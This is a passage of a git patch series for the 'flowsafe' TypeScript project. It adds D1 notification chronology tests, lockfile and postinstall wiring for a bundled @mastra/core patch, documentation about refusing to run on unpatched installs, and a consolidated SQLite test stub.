...scope, + id: 'past', + deliverAt: new Date(fixture.past), + }); + await createChronologyNotification(storage, { + ...scope, + id: 'equal', + summaryAt: now, + }); + await createChronologyNotification(storage, { + ...scope, + id: 'future', + deliverAt: new Date(fixture.future), + summaryAt: new Date(fixture.future), + }); + const query = { now, resourceId: fixture.name }; + const bounded = await storage.listDueNotifications({ ...query, limit: 1 }); + const due = await storage.listDueNotifications(query); + outcomes.push({ + name: fixture.name, + boundedIds: bounded.map((record) => record.id), + due: due.map((record) => ({ + id: record.id, + deliverAt: record.deliverAt?.getTime() ?? null, + summaryAt: record.summaryAt?.getTime() ?? null, + })), + }); + } + return outcomes; +} + +async function notificationChronologyListProbe(db: D1Database) { + const storage = new D1NotificationsStorage(db, ''); + const fixtures = [ + { id: 'minimum', at: '-271821-04-20T00:00:00.000Z' }, + { id: 'negative', at: '-000001-01-01T00:00:00.000Z' }, + { id: 'offset', at: '2026-09-09T12:30:00.000+02:00' }, + { id: 'ordinary', at: '2026-09-09T11:00:00.000Z' }, + { id: 'expanded', at: '+010000-01-01T00:00:00.000Z' }, + { id: 'maximum', at: '+275760-09-13T00:00:00.000Z' }, + ]; + for (const fixture of fixtures) { + await createChronologyNotification(storage, { + id: fixture.id, + createdAt: new Date(fixture.at), + }); + } + await db + .prepare( + 'UPDATE mastra_notifications SET updatedAt = ? WHERE thread_id = ? AND id = ?', + ) + .bind('2026-09-09T12:30:00.000+02:00', 'thread-chronology', 'offset') + .run(); + return { + boundedIds: ( + await storage.listNotifications({ + threadId: 'thread-chronology', + limit: 3, + }) + ).map((record) => record.id), + records: ( + await storage.listNotifications({ threadId: 'thread-chronology' }) + ).map((record) => ({ + id: record.id, + updatedAt: record.updatedAt.getTime(), + })), + }; +} + +async function notificationChronologyTtlProbe(db: D1Database) { + const storage = new D1NotificationsStorage(db, ''); + const fixtures = [ + { + id: 'future', + status: 'delivered', + updatedAt: '+010000-01-01T00:00:00.000Z', + }, + { + id: 'older', + status: 'delivered', + updatedAt: '2026-09-09T12:59:59.999+02:00', + }, + { + id: 'equal', + status: 'delivered', + updatedAt: '2026-09-09T10:00:00.000-0100', + }, + { + id: 'pending', + status: 'pending', + updatedAt: '2020-01-01T00:00:00.000Z', + }, + ] as const; + for (const fixture of fixtures) { + await createChronologyNotification(storage, { + id: fixture.id, + createdAt: new Date(fixture.updatedAt), + }); + if (fixture.status === 'delivered') { + await storage.updateNotification({ + threadId: 'thread-chronology', + id: fixture.id, + status: fixture.status, + deliveredSignalId: `signal-${fixture.id}`, + }); + } + await db + .prepare( + 'UPDATE mastra_notifications SET updatedAt = ? WHERE thread_id = ? AND id = ?', + ) + .bind(fixture.updatedAt, 'thread-chronology', fixture.id) + .run(); + } + const options = { + now: () => new Date('2026-09-09T12:00:00.000Z').getTime(), + ttlMs: 60 * 60 * 1000, + }; + const purged = await purgeExpiredNotifications(db, options); + const { results: after } = await db + .prepare( + 'SELECT id, status, updatedAt FROM mastra_notifications ORDER BY id', + ) + .all<{ id: string; status: string; updatedAt: string }>(); + const future = await storage.getNotification({ + threadId: 'thread-chronology', + id: 'future', + }); + return { + purged, + after, + futureSignalId: future?.deliveredSignalId ?? null, + repeated: await purgeExpiredNotifications(db, options), + }; +} + async function backgroundProbe(db: D1Database): Promise { const storage = createD1Storage({ binding: db, @@ -3144,6 +3406,16 @@ const handler = { await seedDeploymentIdentity(env.DB, 'spike', 'open'); return Response.json({ ok: true }); } + if (path === '/notification-chronology/future') + return Response.json(await notificationChronologyFutureProbe(env.DB)); + if (path === '/notification-chronology/offsets') + return Response.json(await notificationChronologyOffsetsProbe(env.DB)); + if (path === '/notification-chronology/bounds') + return Response.json(await notificationChronologyBoundsProbe(env.DB)); + if (path === '/notification-chronology/list') + return Response.json(await notificationChronologyListProbe(env.DB)); + if (path === '/notification-chronology/ttl') + return Response.json(await notificationChronologyTtlProbe(env.DB)); if (path === '/p3-cleanup') return Response.json(await p3Cleanup(env.DB)); if (path === '/epoch-p3/isolation-missing-witness') return Response.json({ metrics: { diagnostic: p3Metrics() } }); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 40b041f1..b50c390c 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -14,6 +14,11 @@ overrides: nanoid@3: 3.3.17 undici: 7.29.0 +patchedDependencies: + '@mastra/core@1.53.0': + hash: 1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048 + path: packages/flowsafe/patches/@mastra__core@1.53.0.patch + importers: .: @@ -83,7 +88,7 @@ importers: dependencies: '@mastra/core': specifier: 1.53.0 - version: 1.53.0(express@5.2.1)(zod@4.4.3) + version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3) '@proofoftech/breakwater': specifier: workspace:* version: link:../breakwater @@ -115,7 +120,7 @@ importers: devDependencies: '@mastra/core': specifier: 1.53.0 - version: 1.53.0(express@5.2.1)(zod@4.4.3) + version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3) '@types/node': specifier: ^22.20.0 version: 22.20.0 @@ -158,7 +163,7 @@ importers: dependencies: '@mastra/cloudflare-d1': specifier: 1.1.1 - version: 1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(express@5.2.1)(zod@4.4.3)) + version: 1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)) jose: specifier: 6.2.8 version: 6.2.8 @@ -168,7 +173,7 @@ importers: version: 4.20260702.1 '@mastra/core': specifier: 1.53.0 - version: 1.53.0(express@5.2.1)(zod@4.4.3) + version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3) '@proofoftech/breakwater': specifier: workspace:* version: link:../breakwater @@ -219,7 +224,7 @@ importers: version: 5.2.7 '@mastra/core': specifier: 1.53.0 - version: 1.53.0(express@5.2.1)(zod@4.4.3) + version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3) '@proofoftech/breakwater': specifier: workspace:* version: link:../breakwater @@ -4541,15 +4546,15 @@ snapshots: globby: 11.1.0 read-yaml-file: 1.1.0 - '@mastra/cloudflare-d1@1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(express@5.2.1)(zod@4.4.3))': + '@mastra/cloudflare-d1@1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3))': dependencies: '@cloudflare/workers-types': 4.20260702.1 - '@mastra/core': 1.53.0(express@5.2.1)(zod@4.4.3) + '@mastra/core': 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3) cloudflare: 5.2.0 transitivePeerDependencies: - encoding - '@mastra/core@1.53.0(express@5.2.1)(zod@4.4.3)': + '@mastra/core@1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)': dependencies: '@a2a-js/sdk': 0.3.14(express@5.2.1) '@ai-sdk/provider-utils-v5': '@ai-sdk/provider-utils@3.0.30(zod@4.4.3)' diff --git a/scripts/flowsafe-harness.test.ts b/scripts/flowsafe-harness.test.ts index 0178f3f1..e4ef12e3 100644 --- a/scripts/flowsafe-harness.test.ts +++ b/scripts/flowsafe-harness.test.ts @@ -1419,6 +1419,149 @@ describe.sequential('FlowSafe Wrangler test harness', () => { expect(outcome.rollbackSummary).not.toBe('should-rollback'); }); + it('F5 notification chronology selects ordinary due cursors before future expanded years under limit 1', async () => { + const outcomes = await result< + Array<{ cursor: string; boundedIds: string[]; dueIds: string[] }> + >(probe, '/notification-chronology/future'); + expect(outcomes).toEqual([ + { cursor: 'deliverAt', boundedIds: ['due'], dueIds: ['due'] }, + { cursor: 'summaryAt', boundedIds: ['due'], dueIds: ['due'] }, + ]); + }); + + it('F5 notification chronology orders raw offsets and truncates fractions before the due limit', async () => { + const outcomes = await result< + Array<{ + cursor: string; + boundedIds: string[]; + due: Array<{ id: string; at: number | null }>; + rawCursor: { cursor: string } | null; + }> + >(probe, '/notification-chronology/offsets'); + expect(outcomes).toEqual( + ['deliverAt', 'summaryAt'].map((cursor) => ({ + cursor, + boundedIds: ['first'], + due: [ + { + id: 'first', + at: new Date('2026-09-09T10:30:00.123Z').getTime(), + }, + { + id: 'second', + at: new Date('2026-09-09T10:45:00.123Z').getTime(), + }, + { + id: 'third', + at: new Date('2026-09-09T11:00:00.123Z').getTime(), + }, + ], + rawCursor: { cursor: '2026-09-09T12:30:00.1239+02:00' }, + })), + ); + }); + + it('F5 notification chronology compares negative cycles and Date endpoints with millisecond precision', async () => { + const outcomes = await result< + Array<{ + name: string; + boundedIds: string[]; + due: Array<{ + id: string; + deliverAt: number | null; + summaryAt: number | null; + }>; + }> + >(probe, '/notification-chronology/bounds'); + expect(outcomes).toEqual( + [ + { + name: 'negative', + past: new Date('-000800-01-01T00:00:00.001Z').getTime(), + equal: new Date('-000400-01-01T00:00:00.000Z').getTime(), + }, + { + name: 'minimum', + past: -8_640_000_000_000_000, + equal: -8_639_999_999_999_999, + }, + { + name: 'maximum', + past: 8_639_999_999_999_998, + equal: 8_639_999_999_999_999, + }, + ].map((fixture) => ({ + name: fixture.name, + boundedIds: ['past'], + due: [ + { id: 'past', deliverAt: fixture.past, summaryAt: null }, + { id: 'equal', deliverAt: null, summaryAt: fixture.equal }, + ], + })), + ); + }); + + it('F5 notification chronology lists updated instants across offsets and expanded years before the limit', async () => { + const outcome = await result<{ + boundedIds: string[]; + records: Array<{ id: string; updatedAt: number }>; + }>(probe, '/notification-chronology/list'); + expect(outcome).toEqual({ + boundedIds: ['maximum', 'expanded', 'ordinary'], + records: [ + { id: 'maximum', updatedAt: 8_640_000_000_000_000 }, + { + id: 'expanded', + updatedAt: new Date('+010000-01-01T00:00:00.000Z').getTime(), + }, + { + id: 'ordinary', + updatedAt: new Date('2026-09-09T11:00:00.000Z').getTime(), + }, + { + id: 'offset', + updatedAt: new Date('2026-09-09T10:30:00.000Z').getTime(), + }, + { + id: 'negative', + updatedAt: new Date('-000001-01-01T00:00:00.000Z').getTime(), + }, + { id: 'minimum', updatedAt: -8_640_000_000_000_000 }, + ], + }); + }); + + it('F5 notification chronology TTL preserves future receipts, cutoff equality and pending work', async () => { + const outcome = await result<{ + purged: number; + after: Array<{ id: string; status: string; updatedAt: string }>; + futureSignalId: string | null; + repeated: number; + }>(probe, '/notification-chronology/ttl'); + expect(outcome).toEqual({ + purged: 1, + after: [ + { + id: 'equal', + status: 'delivered', + updatedAt: '2026-09-09T10:00:00.000-0100', + }, + { + id: 'future', + status: 'delivered', + updatedAt: '+010000-01-01T00:00:00.000Z', + }, + { + id: 'pending', + status: 'pending', + updatedAt: '2020-01-01T00:00:00.000Z', + }, + ], + futureSignalId: 'signal-future', + repeated: 0, + }); + }); + it('preserves concurrent background workflow state and results in Mastra D1', async () => { const outcome = await result<{ supportsConcurrentUpdates: boolean; From 7e8e267e18b9eec8c7e488dc95b7f3b773fcb533 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 12 Sep 2026 23:36:44 +0400 Subject: [PATCH 136/169] fix(flowsafe): guard notification ingestion, declare D1 batch rows Refuse notification ingestion on an unpatched @mastra/core in the thread route, after the request's own validation and before the content-policy gate, the record-only branch and Core's inline sender, so an unpatched install answers ingestion the way it answers dispatch: a 502 whose server log line names the patch. A deployment that ingests here and delegates dispatch elsewhere needs the patch as well. Constructing a tick with a zero limit needs no patch, because that tick does no delivery work; constructing a delivering tick refuses. A pass whose notification leg refuses reports no schedule result, while what the schedule leg fired stays accounted through the audit sink, and the tick's memo serves a host that retains and re-invokes one built tick. The composer invokes a scheduleTick builder outside the tick duty's try, so a factory that can refuse at construction belongs inside the returned closure. Declare that batch results carry rows on the D1 seams the signal, schedule, snapshot and initial-admission stores read, so a hand-written adapter to the exported types reads that requirement off the type instead of meeting it at runtime; the changeset names the tightening, the initial-admission seam derives its element from the snapshot seam, and a type fixture pins that a D1Database satisfies those seams. Merge the two write bodies of the flowsafe test database helper so a run and a batch element carry the same envelope, and share one SQLite-to-D1 stub between the two starter suites that use it. In the docs check, resolve an absolute link into this repository's main blob path back to its file, with or without a fragment, and report it through the target, internal-file and fragment guards the relative check runs. Pin that the packed tarball ships exactly the patch files the source tree holds, keep assertNotificationSourceKeysPatched out of the packed export surface, write the source-key probe from one constant at both consumers, unescape the documented postinstall command before running it, and pass --batch -N on its forward leg, so a tree missing the patch's target files fails instead of prompting and a partly patched tree converges. The maintainer guide's retirement list names the canary expectation, the toolchain sentence, the seam test, the starter's lazy tick with its suite, and the CI manifest edit with its comment; its retirement signal is a canary whose gated blocks run green rather than skip. An updatedAt outside the supported grammar sorts its row last in an unlimited listNotifications page. Cover the ingestion refusal in the seam suite and the packed unpatched consumer, the zero-limit tick, the starter tick's invocation and memo under a constructing factory, the merged helper envelope, and the absolute-link check's resolving case, its missing-anchor failure, and its missing-file, escaping-path and internal-file failures with a fragment and without, beside the relative check's own internal-file failure. Co-Authored-By: Claude Fable 5.1 --- .../flowsafe-notification-delivery-bound.md | 4 +- .github/workflows/ci.yml | 5 +- docs/durable-agents.md | 6 +- docs/getting-started.md | 4 +- docs/maintainer-guide.md | 16 +- packages/agent-starter/src/maintenance.ts | 7 +- .../test/durable-object-lifecycle.test.ts | 87 +------- .../test/execution-fence-composition.test.ts | 87 +------- .../test/maintenance-tick-refusal.test.ts | 75 +++++-- packages/agent-starter/test/sqlite.ts | 89 ++++++++ packages/flowsafe/README.md | 4 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 87 +++++--- .../flowsafe/src/do-runner/d1-storage.test.ts | 8 +- .../do-runner/fenced-workflow-capability.ts | 5 +- .../src/do-runner/sqlite-fixture.test.ts | 2 +- .../src/do-runner/workflow-snapshot-row.ts | 12 +- .../flowsafe/src/host-kit/flowsafe-worker.ts | 5 +- .../src/schedules/schedules-d1.test.ts | 8 +- packages/flowsafe/src/signals/d1-shared.ts | 9 +- .../notification-dispatch.patch-seam.test.ts | 80 +++++-- .../src/signals/notification-dispatch.ts | 18 +- .../signals/notification-source-keys.test.ts | 47 ++-- .../signal-ingestion.integration.test.ts | 4 +- .../flowsafe/src/signals/thread-do-routes.ts | 8 + .../test-support/d1-type-compatibility.ts | 26 +++ packages/flowsafe/test-support/sqlite.ts | 20 +- packages/flowsafe/tsconfig.test.json | 1 + scripts/docs-check.mjs | 166 ++++++++------ scripts/docs-check.test.mjs | 205 ++++++++++++++++++ 29 files changed, 714 insertions(+), 381 deletions(-) create mode 100644 packages/agent-starter/test/sqlite.ts create mode 100644 packages/flowsafe/test-support/d1-type-compatibility.ts diff --git a/.changeset/flowsafe-notification-delivery-bound.md b/.changeset/flowsafe-notification-delivery-bound.md index 5d483ce3..ef9a5225 100644 --- a/.changeset/flowsafe-notification-delivery-bound.md +++ b/.changeset/flowsafe-notification-delivery-bound.md @@ -4,8 +4,8 @@ Bound notification delivery to ten failed attempts by default, configurable through `maxDeliveryAttempts` on tick and thread-route factories. Discard exhausted rows before another send, retain their error/count receipts, and remove them from due scans while preserving retry delays below the bound. -Require conditional failure writes through `NotificationDeliveryStorage` for dispatch. `D1NotificationsStorage` implements the atomic operation; custom stores must adopt it. Preserve newer summary, delivery and content-denial receipts after response loss, and count each local outcome once without inferring unconfirmed success. Ordinary Core notification ingestion remains supported. +Require conditional failure writes through `NotificationDeliveryStorage` for dispatch. `D1NotificationsStorage` implements the atomic operation; custom stores must adopt it. Preserve newer summary, delivery and content-denial receipts after response loss, and count each local outcome once without inferring unconfirmed success. Ordinary Core storage still serves notification ingestion; the `@mastra/core` patch is required for either path. Require a custom `SignalDatabase` or `ScheduleDatabase` `batch()` to resolve elements carrying `results`, as a real `D1Result` does; `SnapshotDatabase` and `InitialAdmissionDatabase` `batch()` declare the same element. Compare notification dates chronologically before bounded selection and retention, including expanded years and numeric offsets. Direct database writers must use ISO dates or explicitly zoned ISO date-times; conditional failure writes reject raw timestamp text outside that grammar, and neither due selection nor retention matches such a value. -Ship the `@mastra/core@1.53.0` patch under `patches/`. Application roots must apply it for own-property-safe summary source counts and source delivery policies; `@mastra/core@1.53.0` otherwise reads inherited `Object.prototype` members at both sites (mastra-ai/mastra#23693, mastra-ai/mastra#23694). The getting-started guide documents the pnpm, npm and Yarn routes. Flowsafe refuses to construct its notification dispatch tick and refuses notification dispatch requests when the installed `@mastra/core` lacks the patch. +Ship the `@mastra/core@1.53.0` patch under `patches/`. Application roots must apply it for own-property-safe summary source counts and source delivery policies; `@mastra/core@1.53.0` otherwise reads inherited `Object.prototype` members at both sites (mastra-ai/mastra#23693, mastra-ai/mastra#23694). The getting-started guide documents the pnpm, npm and Yarn routes. Flowsafe refuses to construct a notification dispatch tick that does delivery work, and refuses notification ingestion and dispatch requests, when the installed `@mastra/core` lacks the patch. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index b767c2a3..41043967 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -184,8 +184,9 @@ jobs: # to @mastra/core@1.53.0 through pnpm.patchedDependencies, and pnpm # refuses an install whose patch targets a version no longer in the # graph. This job drops that entry in its disposable checkout and - # resolves the newest core unpatched, so flowsafe's notification tick and - # dispatch refuse with a message naming the patch and + # resolves the newest core unpatched, so constructing a delivering + # notification dispatch tick, and ingesting or dispatching notifications + # through the thread routes, refuse with a message naming the patch and # notification-source-keys.test.ts reports its probe cases as the # readable signal. See the maintainer guide's Mastra compatibility # section. diff --git a/docs/durable-agents.md b/docs/durable-agents.md index 5f9dfd41..64558f86 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -261,7 +261,7 @@ Thread delivery is priority-planned across summaries and individual notification ### Bound notification delivery -`createNotificationDispatchTick()` and `createThreadSignalRoutes()` accept `maxDeliveryAttempts`, a positive safe integer defaulting to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. Use the same value on both factories. They capture the policy at construction; request bodies cannot change it. A tick with `limit: 0` performs no delivery or storage work, while invalid numeric policy and an unpatched `@mastra/core` still fail at construction. +`createNotificationDispatchTick()` and `createThreadSignalRoutes()` accept `maxDeliveryAttempts`, a positive safe integer defaulting to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. Use the same value on both factories. They capture the policy at construction; request bodies cannot change it. A tick with `limit: 0` performs no delivery or storage work and needs no patch; invalid numeric policy still fails at construction, and an unpatched `@mastra/core` fails construction of a tick that dispatches. `deliveryAttempts` counts persisted failed rounds. At the bound, the conditional write sets `discarded`, `deliveryReason: "delivery-attempts-exhausted"` and cleared delivery cursors. A row already at the bound is not sent; its conditional discard preserves the previous count, error and attempt time. Retry delays below the bound retain the existing backoff. Malformed counters remain unmodified and produce an unresolved failure. A due row whose other scalars cannot be read is not written: it is counted as a failed outcome, re-selected on every pass, holds its place in the bounded window and in the `pending-notifications` inventory category, and must be repaired or deleted directly. @@ -273,9 +273,9 @@ Failure bookkeeping preserves newer summary, delivery and content-denial receipt Attempt time and retry cursors use the dispatch clock. Updated/discarded timestamps use a captured wall-clock value for retention. Identical same-ID replacements with no observable difference have no separate generation identity under this contract. -D1 compares notification timestamps as instants when selecting due rows, ordering lists and applying retention. Public storage methods accept finite `Date` values. Direct database writers must use ISO dates or ISO date-times with an explicit UTC or numeric offset. A date-time with no zone, or non-ISO text, is outside that grammar: such a value in `deliverAt` or `summaryAt` never matches due selection, and such a value in `updatedAt` never matches retention, so repair or delete the row that carries it directly; supported raw encodings retain their stored bytes. +D1 compares notification timestamps as instants when selecting due rows, ordering lists and applying retention. Public storage methods accept finite `Date` values. Direct database writers must use ISO dates or ISO date-times with an explicit UTC or numeric offset. A date-time with no zone, or non-ISO text, is outside that grammar: such a value in `deliverAt` or `summaryAt` never matches due selection, and such a value in `updatedAt` never matches retention and sorts its row last in an unlimited `listNotifications` page, so repair or delete the row that carries it directly; supported raw encodings retain their stored bytes. -Summary source counts and a configured source delivery policy read own properties only where the `@mastra/core` patch flowsafe ships is applied at the application root; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses to construct its notification dispatch tick and refuses notification dispatch on an unpatched install. See [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore). +Summary source counts and a configured source delivery policy read own properties only where the `@mastra/core` patch flowsafe ships is applied at the application root; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses notification ingestion and dispatch on an unpatched install, and refuses to construct a notification dispatch tick that does delivery work. See [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore). ## Expose signal ingestion diff --git a/docs/getting-started.md b/docs/getting-started.md index 2ed9fa68..7f31c85c 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -211,7 +211,7 @@ Copy the file the same way, then apply it after every install: ```json { "scripts": { - "postinstall": "patch -p1 -R -s -f --dry-run -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch >/dev/null || patch -p1 -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch" + "postinstall": "patch -p1 -R -s -f --dry-run -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch >/dev/null || patch -p1 --batch -N -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch" } } ``` @@ -220,7 +220,7 @@ The patch file is fed on standard input rather than through `-i` because `-d` ch This route requires GNU `patch` on `PATH`, and Yarn only with `nodeLinker: node-modules`. When both legs fail on `1.53.0`, delete `node_modules/@mastra/core` and reinstall rather than re-running the command. When they fail because `@mastra/core` is no longer `1.53.0`, remove the `postinstall` script: the patch does not apply to other versions. -The patch applies to `@mastra/core` `1.53.0` only. When you upgrade `@mastra/core`, remove the `patchedDependencies` entry or the `postinstall` script before installing, and check whether the release carries the upstream fixes. On an unpatched install flowsafe refuses to construct its notification dispatch tick with an error naming this section, and answers notification dispatch requests with a 502 whose server log line names it. +The patch applies to `@mastra/core` `1.53.0` only. When you upgrade `@mastra/core`, remove the `patchedDependencies` entry or the `postinstall` script before installing, and check whether the release carries the upstream fixes. On an unpatched install flowsafe refuses to construct a notification dispatch tick that does delivery work with an error naming this section, and answers notification ingestion and dispatch requests with a 502 whose server log line names it. ### Confirm the patch is applied diff --git a/docs/maintainer-guide.md b/docs/maintainer-guide.md index af51d9cf..064c4596 100644 --- a/docs/maintainer-guide.md +++ b/docs/maintainer-guide.md @@ -104,21 +104,25 @@ CI tests the declared supported peer version as part of the normal gate. A separ Treat a red canary as a release investigation even though it does not block a merge. Update the declared peer range only after tests, workerd proofs, package tarball probes, and migration notes pass. -The canary drops the workspace's `pnpm.patchedDependencies` entry before it resolves the newest core, so it runs unpatched. While upstream carries [mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693) and [mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694), expect `notification-source-keys.test.ts` to report its probe cases failed and its patched-behavior blocks skipped, and expect the flowsafe suites that construct `createNotificationDispatchTick()` or dispatch notifications through `createThreadSignalRoutes()` against the installed core to fail with the refusal naming the patch; `notification-dispatch.patch-seam.test.ts` mocks Core's `summarizeNotifications` with the unpatched accumulator and passes either way. A canary whose probe cases pass against a newer core is the signal that the patch can be retired, through the procedure below. +The canary drops the workspace's `pnpm.patchedDependencies` entry before it resolves the newest core, so it runs unpatched. While upstream carries [mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693) and [mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694), expect `notification-source-keys.test.ts` to report its probe cases failed and its patched-behavior blocks skipped, and expect the flowsafe suites that construct a delivering `createNotificationDispatchTick()`, or ingest or dispatch notifications through `createThreadSignalRoutes()`, against the installed core to fail with the refusal naming the patch; `notification-dispatch.patch-seam.test.ts` mocks Core's `summarizeNotifications` with the unpatched accumulator and passes either way. A canary that goes green against a newer core — its probe cases passing, and the patched-behavior blocks those cases gate running green rather than skipping — is the signal that the patch can be retired, through the procedure below. Retiring the `@mastra/core` patch, once a release carrying the upstream fixes is adopted, reaches: - `packages/flowsafe/patches/@mastra__core@1.53.0.patch`. - The root `package.json` `pnpm.patchedDependencies` entry, and the `patchedDependencies` block and `patch_hash` keys in `pnpm-lock.yaml`, which `pnpm install` regenerates. - The `@proofoftech/flowsafe` `files` entry that publishes the patch. -- The construction and dispatch refusal in `packages/flowsafe/src/signals/notification-dispatch.ts` and its call site in `packages/flowsafe/src/signals/thread-do-routes.ts`. -- The manifest edit in the `mastra-compat` job in `.github/workflows/ci.yml`. -- [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore) in the getting-started guide. -- The `packages/flowsafe/README.md` compatibility bullet, own-property sentence and Apache-2.0 section 4(b) notice. +- The construction, ingestion and dispatch refusal in `packages/flowsafe/src/signals/notification-dispatch.ts`, its error text naming the getting-started section, and its call sites in `packages/flowsafe/src/signals/thread-do-routes.ts`. +- `packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts`, which exists to prove that refusal and goes red without it. +- The lazily built notification tick and its stated reason in `packages/agent-starter/src/maintenance.ts`, and `packages/agent-starter/test/maintenance-tick-refusal.test.ts`, which pins the composition that reason produced. The suite mocks the refusal rather than reaching it, so retirement leaves the comment's reason false and the suite green: retire both here instead of waiting for a failure. +- The manifest edit in the `mastra-compat` job in `.github/workflows/ci.yml`, and the comment that explains it. +- [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore) in the getting-started guide, including the `postinstall` command that the packed tool-neutral proof extracts from it and runs. +- The GNU `patch` requirement in [Local setup](#local-setup), which the tool-neutral proof needs to apply the shipped patch. +- The canary expectation earlier in this section, which is scoped to the open upstream issues. +- The patch sentences in `packages/flowsafe/README.md`, including the Apache-2.0 section 4(b) notice. - The notification sentences in [Durable agents](durable-agents.md). - The patch sentences in `packages/flowsafe/deploy/README.md` and `packages/agent-starter/README.md`. - The exception paragraph in `CONTRIBUTING.md`. -- The unpatched, patched and tool-neutral proofs in `packages/flowsafe/scripts/agent-host-pack-test.mjs`. +- The unpatched, patched and tool-neutral proofs in `packages/flowsafe/scripts/agent-host-pack-test.mjs`, and the `assertNotificationSourceKeysPatched` entry in that file's not-exported name list, which passes vacuously once the helper is gone. - The probe and gating in `packages/flowsafe/src/signals/notification-source-keys.test.ts`. After an upstream fix its patched-behavior cases stay as regression coverage of upstream; the gating goes. A changeset describing the patch clears itself at release. diff --git a/packages/agent-starter/src/maintenance.ts b/packages/agent-starter/src/maintenance.ts index 7e54a4ae..8e21552d 100644 --- a/packages/agent-starter/src/maintenance.ts +++ b/packages/agent-starter/src/maintenance.ts @@ -244,7 +244,12 @@ export function starterMaintenanceTick(env: Env): () => Promise { // Built on first use rather than at wiring time: an unpatched @mastra/core // refuses this construction, and that refusal must fail the notifications // leg of a pass, not the schedule leg that shares this tick nor the wiring - // of the maintenance duty. + // of the maintenance duty. The schedule leg still claims and fires on such a + // pass, but reports no result: the aggregate promise rejects before the host + // logs schedule-tick, and what fired stays accounted through the audit sink + // above. The ??= memo is for a host that retains one built tick and invokes + // it again — the () => Promise contract permits that; this host + // builds a fresh tick per alarm. let notifications: | ReturnType | undefined; diff --git a/packages/agent-starter/test/durable-object-lifecycle.test.ts b/packages/agent-starter/test/durable-object-lifecycle.test.ts index 746e9143..3c76ba4c 100644 --- a/packages/agent-starter/test/durable-object-lifecycle.test.ts +++ b/packages/agent-starter/test/durable-object-lifecycle.test.ts @@ -14,6 +14,7 @@ import { StarterThread, } from '../src/durable-objects.js'; import { executionFence, schedulesStore } from '../src/storage.js'; +import { openSqlite, sqliteUnitDatabase } from './sqlite.js'; vi.mock('@proofoftech/flowsafe/agent-host', async (importOriginal) => { const actual = @@ -24,92 +25,6 @@ vi.mock('@proofoftech/flowsafe/agent-host', async (importOriginal) => { }; }); -interface SqliteStatement { - get(...params: unknown[]): unknown; - run(...params: unknown[]): unknown; - all(...params: unknown[]): unknown[]; -} - -interface SqliteDatabase { - prepare(sql: string): SqliteStatement; - exec(sql: string): void; -} - -function openSqlite(): SqliteDatabase { - const getBuiltin = ( - globalThis as { - process?: { getBuiltinModule?: (id: string) => unknown }; - } - ).process?.getBuiltinModule; - if (!getBuiltin) { - throw new Error('node:sqlite unavailable; tests require Node.js 22.13+'); - } - const mod = getBuiltin('node:sqlite') as { - DatabaseSync: new (path: string) => SqliteDatabase; - }; - return new mod.DatabaseSync(':memory:'); -} - -function sqliteUnitDatabase(db: SqliteDatabase): unknown { - const runSync = Symbol('runSync'); - - function statement(sql: string, params: unknown[]): Record { - const execute = () => { - const results = db.prepare(sql).all(...params); - const outcome = db.prepare('SELECT changes() AS count').get() as { - count: number | bigint; - }; - return { - success: true, - results, - meta: { changes: Number(outcome.count) }, - }; - }; - return { - bind: (...values: unknown[]) => statement(sql, values), - first: async (column?: string) => { - const row = db.prepare(sql).get(...params) as - | Record - | undefined; - if (row === undefined) return null; - return column === undefined ? row : (row[column] ?? null); - }, - run: async () => execute(), - [runSync]: execute, - 